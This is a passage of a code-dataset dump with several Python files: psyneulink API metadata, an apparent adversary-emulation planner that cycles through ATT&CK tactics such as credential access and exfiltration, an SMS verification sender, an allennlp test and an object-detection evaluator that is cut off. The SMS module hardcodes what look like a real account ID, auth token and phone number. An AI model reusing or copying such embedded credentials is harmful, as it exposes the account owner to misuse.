1625, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.DEFERRED_INIT", "line_number": 1626, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1626, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.REFERENCE_VALUE", "line_number": 1628, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.REFERENCE_VALUE", "line_number": 1629, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VALUE", "line_number": 1630, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VALUE", "line_number": 1631, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VARIABLE", "line_number": 1632, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.VARIABLE", "line_number": 1633, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState.defaults", "line_number": 1643, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1643, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState._state_spec_allows_override_variable", "line_number": 1644, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1644, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.convert_to_np_array", "line_number": 1671, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1687, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1689, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1690, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 1690, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1692, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1694, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1695, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1696, "usage_type": "argument"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1701, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1702, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1703, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 1703, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1705, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1707, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1708, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 1709, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 1802, "usage_type": "argument"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1809, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1811, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.state._parse_state_spec", "line_number": 1812, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 1812, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.DEFER_VARIABLE_SPEC_TO_MECH_MSG", "line_number": 1814, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.CONSTRUCTOR", "line_number": 1817, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1817, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 1820, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.FUNCTION_PARAMS", "line_number": 1824, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.COMMAND_LINE", "line_number": 1826, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 1826, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.PROPERTY", "line_number": 1826, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.keywords.FUNCTION_PARAMS", "line_number": 1833, "usage_type": "argument"}, {"api_name": "psyneulink.core.globals.keywords.FUNCTION_PARAMS", "line_number": 1839, "usage_type": "name"}, {"api_name": "inspect.isclass", "line_number": 1843, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 1844, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 1845, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 1846, "usage_type": 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"psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 3179, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState.__name__", "line_number": 3180, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 3180, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3181, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState.__name__", "line_number": 3182, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3182, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState.__name__", "line_number": 3185, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 3185, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState.__name__", "line_number": 3185, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 3185, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState.__name__", "line_number": 3185, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3185, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 3175, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 3221, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 3222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 3222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 3223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 3223, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.context.ContextFlags.METHOD", "line_number": 3264, "usage_type": "attribute"}, {"api_name": "psyneulink.core.globals.context.ContextFlags", "line_number": 3264, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.state._parse_state_type", "line_number": 3277, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 3278, "usage_type": "argument"}, {"api_name": "inspect.isclass", "line_number": 3279, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 3279, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3282, "usage_type": "argument"}, {"api_name": "inspect.isclass", "line_number": 3283, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3283, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 3294, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate._instantiate_input_states", "line_number": 3295, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.outputstate._instantiate_output_states", "line_number": 3304, "usage_type": "call"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 3308, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 3309, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 3225, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.state.REMOVE_STATES", "line_number": 3312, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.registry.remove_instance_from_registry", "line_number": 3351, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.inputstate.INPUT_STATE", "line_number": 3352, "usage_type": "name"}, {"api_name": "numpy.delete", "line_number": 3355, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3359, "usage_type": "argument"}, {"api_name": "psyneulink.core.globals.registry.remove_instance_from_registry", "line_number": 3365, "usage_type": "call"}, {"api_name": "psyneulink.core.components.states.outputstate.OUTPUT_STATE", "line_number": 3366, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 3311, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.parameterstate.ParameterState", "line_number": 3377, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 3392, "usage_type": "name"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3395, "usage_type": "name"}, {"api_name": "psyneulink.core.components.process.Process", "line_number": 3406, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism.__name__", "line_number": 3408, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3408, "usage_type": "name"}, {"api_name": "psyneulink.core.components.process.Process.__name__", "line_number": 3408, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.process.Process", "line_number": 3408, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 3403, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.system.System", "line_number": 3414, "usage_type": "name"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism.__name__", "line_number": 3416, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3416, "usage_type": "name"}, {"api_name": "psyneulink.core.components.system.System.__name__", "line_number": 3416, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.system.System", "line_number": 3416, "usage_type": "name"}, {"api_name": "typecheck.typecheck", "line_number": 3411, "usage_type": "attribute"}, {"api_name": "psyneulink.core.components.states.inputstate.InputState", "line_number": 3473, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.states.outputstate.OutputState", "line_number": 3509, "usage_type": "argument"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3516, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.State", "line_number": 3517, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3528, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 3528, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3540, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 3540, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3545, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 3545, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3558, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 3558, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3563, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Projection", "line_number": 3563, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3571, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3571, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3578, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3578, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.utilities.ContentAddressableList", "line_number": 3585, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3585, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATE_VARIABLES", "line_number": 3605, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.FUNCTION", "line_number": 3609, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.FUNCTION_PARAMS", "line_number": 3611, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.INPUT_STATES", "line_number": 3614, "usage_type": "name"}, {"api_name": "psyneulink.core.globals.keywords.OUTPUT_STATES", "line_number": 3615, "usage_type": "name"}, {"api_name": "itertools.chain", "line_number": 3624, "usage_type": "call"}, {"api_name": "inspect.isclass", "line_number": 3643, "usage_type": "call"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3643, "usage_type": "argument"}, {"api_name": "psyneulink.core.components.shellclasses.Mechanism", "line_number": 3645, "usage_type": "argument"}, {"api_name": "collections.UserList", "line_number": 3657, "usage_type": "name"}]} {"seq_id": "256278620", "text": "import asyncio\n\n\nclass LogicalPlanner:\n\n def __init__(self, operation, planning_svc, stopping_conditions=()):\n self.operation = operation\n self.planning_svc = planning_svc\n self.stopping_conditions = stopping_conditions\n self.stopping_condition_met = False\n self.state_machine = ['initial_access', 'defense_evasion', 'command_and_control', 'discovery', 'execution',\n 'credential_access', 'privilege_escalation', 'persistence', 'lateral_movement',\n 'collection', 'exfiltration', 'impact']\n self.next_bucket = 'initial_access' # set first, bucket to execute\n self.current_length = 0\n\n async def execute(self):\n await self.planning_svc.execute_planner(self)\n\n async def do_bucket(self, bucket):\n await self.planning_svc.exhaust_bucket(self, bucket, self.operation)\n\n async def initial_access(self):\n await self.do_bucket('initial-access')\n self.next_bucket = await self.planning_svc.default_next_bucket('initial_access', self.state_machine)\n\n async def execution(self):\n await self.do_bucket('execution')\n self.next_bucket = await self.planning_svc.default_next_bucket('execution', self.state_machine)\n\n async def persistence(self):\n await self.do_bucket('persistence')\n self.next_bucket = await self.planning_svc.default_next_bucket('persistence', self.state_machine)\n\n async def privilege_escalation(self):\n await self.do_bucket('privilege-escalation')\n self.next_bucket = await self.planning_svc.default_next_bucket('privilege_escalation', self.state_machine)\n\n async def defense_evasion(self):\n await self.do_bucket('defense-evasion')\n self.next_bucket = await self.planning_svc.default_next_bucket('defense_evasion', self.state_machine)\n\n async def credential_access(self):\n await self.do_bucket('credential-access')\n self.next_bucket = await self.planning_svc.default_next_bucket('credential_access', self.state_machine)\n\n async def discovery(self):\n await self.do_bucket('discovery')\n self.next_bucket = await self.planning_svc.default_next_bucket('discovery', self.state_machine)\n\n async def lateral_movement(self):\n await self.do_bucket('lateral-movement')\n self.next_bucket = await self.planning_svc.default_next_bucket('lateral_movement', self.state_machine)\n\n async def collection(self):\n await self.do_bucket('collection')\n self.next_bucket = await self.planning_svc.default_next_bucket('collection', self.state_machine)\n\n async def command_and_control(self):\n await self.do_bucket('command-and-control')\n self.next_bucket = await self.planning_svc.default_next_bucket('command_and_control', self.state_machine)\n\n async def exfiltration(self):\n await self.do_bucket('exfiltration')\n self.next_bucket = await self.planning_svc.default_next_bucket('exfiltration', self.state_machine)\n\n async def impact(self):\n await self.do_bucket('impact')\n if len(self.operation.chain) == self.current_length: # check to see if we've done anything new recently\n if self.operation.auto_close: # we aren't making any further forward progress, and we should close\n self.next_bucket = None\n else: # we aren't making any further forward progress, but let's wait a bit and see if that changes\n await asyncio.sleep(180) # Sleep for a while before we enter the flow loop again\n self.planning_svc.log.debug('[buckets] Ran out of things to do for the moment. Sleeping for a bit.')\n self.next_bucket = 'initial_access'\n else:\n self.current_length = len(self.operation.chain)\n self.next_bucket = await self.planning_svc.default_next_bucket('impact', self.state_machine)\n", "sub_path": "app/planners/buckets.py", "file_name": "buckets.py", "file_ext": "py", "file_size_in_byte": 3903, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "asyncio.sleep", "line_number": 73, "usage_type": "call"}]} {"seq_id": "534039997", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Author: Hui\n# @Desc: { 容联云短信服务模块 }\n# @Date: 2021/09/26 15:32\n\n\n# !/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Author: Hui\n# @Desc: { 发送短信验证码模块 }\n# @Date: 2021/09/24 21:49\nimport json\nimport random\nfrom ronglian_sms_sdk import SmsSDK\n\naccId = '8a216da87ba59937017c1804686a1bf4'\naccToken = '311e282f76914d1ab9f66dd314659efc'\nappId = '8a216da87ba59937017c1804694f1bfa'\ntest_mobile = '13033221752'\ntid = '1'\nsms_code_ttl = 5 # 短信验证码有效时间 单位/分钟\n\nsdk = SmsSDK(accId, accToken, appId)\n\n\ndef generate_sms_code():\n \"\"\"\n 随机生成6位短信验证码\n :return: sms_code\n \"\"\"\n # 随机6位短信验证码\n sms_code = random.randint(100000, 999999)\n sms_code = list(str(sms_code))\n random.shuffle(sms_code)\n sms_code = ''.join(sms_code)\n return sms_code\n\n\ndef send_sms_code(mobile, sms_code):\n \"\"\"\n 发送短信验证码\n :param mobile: 手机号\n :param sms_code: 要发送的短信验证码\n :return: True/False\n \"\"\"\n # 发送并获取响应信息\n datas = (sms_code, sms_code_ttl)\n\n # 暂时只支持测试号码\n mobile = test_mobile\n\n # 将短信验证码存入Redis，设置过期时间为sms_code_ttl\n # key meiduo:sms:code:{13033221725} 123456 ttl\n resp_str = sdk.sendMessage(tid, mobile, datas)\n resp_dict = json.loads(resp_str)\n if resp_dict.get('statusCode', None) == '000000':\n # 发送成功\n return True\n else:\n return False\n\n\ndef main():\n send_sms_code(test_mobile, generate_sms_code())\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "meiduo_mall/celery_tasks/sms/ronglian.py", "file_name": "ronglian.py", "file_ext": "py", "file_size_in_byte": 1645, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "ronglian_sms_sdk.SmsSDK", "line_number": 24, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 33, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 35, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 56, "usage_type": "call"}]} {"seq_id": "604481372", "text": "# pylint: disable=no-self-use,invalid-name\nimport numpy\nfrom numpy.testing import assert_almost_equal\n\nfrom allennlp.common import Params, constants\nfrom allennlp.data import Vocabulary\nfrom allennlp.data.dataset_readers import SnliReader\nfrom allennlp.data.fields import TextField\nfrom allennlp.data.token_indexers import SingleIdTokenIndexer\nfrom allennlp.models import DecomposableAttention, Model\nfrom allennlp.nn import InitializerApplicator\nfrom allennlp.nn.util import arrays_to_variables\nfrom allennlp.common.testing import AllenNlpTestCase\n\n\nclass TestDecomposableAttention(AllenNlpTestCase):\n def setUp(self):\n super(TestDecomposableAttention, self).setUp()\n\n constants.GLOVE_PATH = 'tests/fixtures/glove.6B.300d.sample.txt.gz'\n dataset = SnliReader().read('tests/fixtures/data/snli.jsonl')\n vocab = Vocabulary.from_dataset(dataset)\n self.vocab = vocab\n dataset.index_instances(vocab)\n self.dataset = dataset\n self.token_indexers = {'tokens': SingleIdTokenIndexer()}\n\n self.model = DecomposableAttention.from_params(self.vocab, Params({}))\n initializer = InitializerApplicator()\n initializer(self.model)\n\n def test_forward_pass_runs_correctly(self):\n training_arrays = arrays_to_variables(self.dataset.as_array_dict())\n _ = self.model.forward(**training_arrays)\n\n def test_model_can_train_save_and_load(self):\n self.ensure_model_can_train_save_and_load(self.model, self.dataset)\n\n def test_predict_entailment_gives_reasonable_outputs(self):\n premise = TextField([\"A\", \"dog\", \"is\", \"a\", \"mammal\"], token_indexers=self.token_indexers)\n hypothesis = TextField([\"A\", \"dog\", \"is\", \"an\", \"animal\"], token_indexers=self.token_indexers)\n output_dict = self.model.predict_entailment(premise, hypothesis)\n assert_almost_equal(numpy.sum(output_dict[\"label_probs\"], -1), 1, decimal=6)\n\n def test_model_load(self):\n params = Params.from_file('tests/fixtures/decomposable_attention/experiment.json')\n model = Model.load(params)\n\n assert isinstance(model, DecomposableAttention)\n", "sub_path": "tests/models/decomposable_attention_test.py", "file_name": "decomposable_attention_test.py", "file_ext": "py", "file_size_in_byte": 2136, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "allennlp.common.testing.AllenNlpTestCase", "line_number": 16, "usage_type": "name"}, {"api_name": "allennlp.common.constants.GLOVE_PATH", "line_number": 20, "usage_type": "attribute"}, {"api_name": "allennlp.common.constants", "line_number": 20, "usage_type": "name"}, {"api_name": "allennlp.data.dataset_readers.SnliReader", "line_number": 21, "usage_type": "call"}, {"api_name": "allennlp.data.Vocabulary.from_dataset", "line_number": 22, "usage_type": "call"}, {"api_name": "allennlp.data.Vocabulary", "line_number": 22, "usage_type": "name"}, {"api_name": "allennlp.data.token_indexers.SingleIdTokenIndexer", "line_number": 26, "usage_type": "call"}, {"api_name": "allennlp.models.DecomposableAttention.from_params", "line_number": 28, "usage_type": "call"}, {"api_name": "allennlp.models.DecomposableAttention", "line_number": 28, "usage_type": "name"}, {"api_name": "allennlp.common.Params", "line_number": 28, "usage_type": "call"}, {"api_name": "allennlp.nn.InitializerApplicator", "line_number": 29, "usage_type": "call"}, {"api_name": "allennlp.nn.util.arrays_to_variables", "line_number": 33, "usage_type": "call"}, {"api_name": "allennlp.data.fields.TextField", "line_number": 40, "usage_type": "call"}, {"api_name": "allennlp.data.fields.TextField", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.testing.assert_almost_equal", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 43, "usage_type": "call"}, {"api_name": "allennlp.common.Params.from_file", "line_number": 46, "usage_type": "call"}, {"api_name": "allennlp.common.Params", "line_number": 46, "usage_type": "name"}, {"api_name": "allennlp.models.Model.load", "line_number": 47, "usage_type": "call"}, {"api_name": "allennlp.models.Model", "line_number": 47, "usage_type": "name"}, {"api_name": "allennlp.models.DecomposableAttention", "line_number": 49, "usage_type": "argument"}]} {"seq_id": "205744195", "text": "from htm_rl.agents.v1.runner import RndAgentRunner\n\nimport yaml\nimport sys\nimport ast\nimport wandb\n\nif len(sys.argv) > 1:\n default_config_name = sys.argv[1]\nelse:\n default_config_name = 'rnd_gw'\nwith open(f'{default_config_name}.yaml', 'r') as file:\n config = yaml.load(file, Loader=yaml.Loader)\n\nif config['log']:\n logger = wandb\nelse:\n logger = None\n\nfor arg in sys.argv[2:]:\n key, value = arg.split('=')\n\n value = ast.literal_eval(value)\n\n key = key.lstrip('-')\n if key.endswith('.'):\n # a trick that allow distinguishing sweep params from config params\n # by adding a suffix `.` to sweep param - now we should ignore it\n key = key[:-1]\n tokens = key.split('.')\n c = config\n for k in tokens[:-1]:\n if not k:\n # a trick that allow distinguishing sweep params from config params\n # by inserting additional dots `.` to sweep param - we just ignore it\n continue\n if 0 in c:\n k = int(k)\n c = c[k]\n c[tokens[-1]] = value\n\nif logger is not None:\n logger = logger.init(project=config['project'], entity=config['entity'], config=config)\n\n# with open('../../experiments/hima/htm_config_unpacked.yaml', 'w') as file:\n# yaml.dump(configure(config), file, Dumper=yaml.Dumper)\n\nrunner = RndAgentRunner(config, logger=logger)\n\n# if logger is not None:\n# runner.draw_map(logger)\n\nrunner.run_episodes(**config['run_options'])\n", "sub_path": "htm_rl/htm_rl/experiments/v1/run_agent.py", "file_name": "run_agent.py", "file_ext": "py", "file_size_in_byte": 1448, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 13, "usage_type": "call"}, {"api_name": "yaml.Loader", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "ast.literal_eval", "line_number": 23, "usage_type": "call"}, {"api_name": "htm_rl.agents.v1.runner.RndAgentRunner", "line_number": 48, "usage_type": "call"}]} {"seq_id": "150552871", "text": "###########################################################################################\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n# This sample shows how to evaluate object detections applying the following metrics:\t #\n# * Precision x Recall curve\t ---->\t used by VOC PASCAL 2012)\t\t\t\t #\n# * Average Precision (AP)\t\t ---->\t used by VOC PASCAL 2012)\t\t\t\t #\n#\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n# Developed by: Rafael Padilla (rafael.padilla@smt.ufrj.br)\t\t\t\t\t\t\t #\n#\t\tSMT - Signal Multimedia and Telecommunications Lab\t\t\t\t\t\t\t #\n#\t\tCOPPE - Universidade Federal do Rio de Janeiro\t\t\t\t\t\t\t\t #\n#\t\tLast modification: Oct 9th 2018\t\t\t\t\t\t\t\t\t\t\t\t #\n###########################################################################################\n\nimport argparse\nimport glob\nimport os\nimport shutil\nimport sys\n\nimport _init_paths\nfrom BoundingBox import BoundingBox\nfrom BoundingBoxes import BoundingBoxes\nfrom Evaluator import *\nfrom utils import BBFormat\n\nimport pandas as pd\nfrom datetime import datetime\n\n# Validate formats\ndef ValidateFormats(argFormat, argName, errors):\n\tif argFormat == 'xywh':\n\t\treturn BBFormat.XYWH\n\telif argFormat == 'xyrb':\n\t\treturn BBFormat.XYX2Y2\n\telif argFormat is None:\n\t\treturn BBFormat.XYWH # default when nothing is passed\n\telse:\n\t\terrors.append(\n\t\t\t'argument %s: invalid value. It must be either \\'xywh\\' or \\'xyrb\\'' % argName)\n\n\n# Validate mandatory args\ndef ValidateMandatoryArgs(arg, argName, errors):\n\tif arg is None:\n\t\terrors.append('argument %s: required argument' % argName)\n\telse:\n\t\treturn True\n\n\ndef ValidateImageSize(arg, argName, argInformed, errors):\n\terrorMsg = 'argument %s: required argument if %s is relative' % (argName, argInformed)\n\tret = None\n\tif arg is None:\n\t\terrors.append(errorMsg)\n\telse:\n\t\targ = arg.replace('(', '').replace(')', '')\n\t\targs = arg.split(',')\n\t\tif len(args) != 2:\n\t\t\terrors.append(\n\t\t\t\t'%s. It must be in the format \\'width,height\\' (e.g. \\'600,400\\')' % errorMsg)\n\t\telse:\n\t\t\tif not args[0].isdigit() or not args[1].isdigit():\n\t\t\t\terrors.append(\n\t\t\t\t\t'%s. It must be in INTEGER the format \\'width,height\\' (e.g. \\'600,400\\')' %\n\t\t\t\t\terrorMsg)\n\t\t\telse:\n\t\t\t\tret = (int(args[0]), int(args[1]))\n\treturn ret\n\n\n# Validate coordinate types\ndef ValidateCoordinatesTypes(arg, argName, errors):\n\tif arg == 'abs':\n\t\treturn CoordinatesType.Absolute\n\telif arg == 'rel':\n\t\treturn CoordinatesType.Relative\n\telif arg is None:\n\t\treturn CoordinatesType.Absolute # default when nothing is passed\n\terrors.append('argument %s: invalid value. It must be either \\'rel\\' or \\'abs\\'' % argName)\n\n\ndef ValidatePaths(arg, nameArg, errors):\n\tif arg is None:\n\t\terrors.append('argument %s: invalid directory' % nameArg)\n\telif os.path.isdir(arg) is False and os.path.isdir(os.path.join(currentPath, arg)) is False:\n\t\terrors.append('argument %s: directory does not exist \\'%s\\'' % (nameArg, arg))\n\t# elif os.path.isdir(os.path.join(currentPath, arg)) is True:\n\t#\t arg = os.path.join(currentPath, arg)\n\telse:\n\t\targ = os.path.join(currentPath, arg)\n\treturn arg\n\n\ndef getBoundingBoxes(directory,\n\t\t\t\t\t isGT,\n\t\t\t\t\t bbFormat,\n\t\t\t\t\t coordType,\n\t\t\t\t\t allBoundingBoxes=None,\n\t\t\t\t\t allClasses=None,\n\t\t\t\t\t imgSize=(0, 0)):\n\t\"\"\"Read txt files containing bounding boxes (ground truth and detections).\"\"\"\n\tif allBoundingBoxes is None:\n\t\tallBoundingBoxes = BoundingBoxes()\n\tif allClasses is None:\n\t\tallClasses = []\n\t# Read ground truths\n\tos.chdir(directory)\n\tfiles = glob.glob(\"*.txt\")\n\tfiles.sort()\n\t# Read GT detections from txt file\n\t# Each line of the files in the groundtruths folder represents a ground truth bounding box\n\t# (bounding boxes that a detector should detect)\n\t# Each value of each line is \"class_id, x, y, width, height\" respectively\n\t# Class_id represents the class of the bounding box\n\t# x, y represents the most top-left coordinates of the bounding box\n\t# x2, y2 represents the most bottom-right coordinates of the bounding box\n\tfor f in files:\n\t\tnameOfImage = f.replace(\".txt\", \"\")\n\t\tfh1 = open(f, \"r\")\n\t\tfor line in fh1:\n\t\t\tline = line.replace(\"\\n\", \"\")\n\t\t\tif line.replace(' ', '') == '':\n\t\t\t\tcontinue\n\t\t\tsplitLine = line.split(\" \")\n\t\t\tif isGT:\n\t\t\t\t# idClass = int(splitLine[0]) #class\n\t\t\t\tidClass = (splitLine[0]) # class\n\t\t\t\tx = float(splitLine[1])\n\t\t\t\ty = float(splitLine[2])\n\t\t\t\tw = float(splitLine[3])\n\t\t\t\th = float(splitLine[4])\n\t\t\t\tbb = BoundingBox(\n\t\t\t\t\tnameOfImage,\n\t\t\t\t\tidClass,\n\t\t\t\t\tx,\n\t\t\t\t\ty,\n\t\t\t\t\tw,\n\t\t\t\t\th,\n\t\t\t\t\tcoordType,\n\t\t\t\t\timgSize,\n\t\t\t\t\tBBType.GroundTruth,\n\t\t\t\t\tformat=bbFormat)\n\t\t\telse:\n\t\t\t\t# idClass = int(splitLine[0]) #class\n\t\t\t\tidClass = (splitLine[0]) # class\n\t\t\t\tconfidence = float(splitLine[1])\n\t\t\t\tx = float(splitLine[2])\n\t\t\t\ty = float(splitLine[3])\n\t\t\t\tw = float(splitLine[4])\n\t\t\t\th = 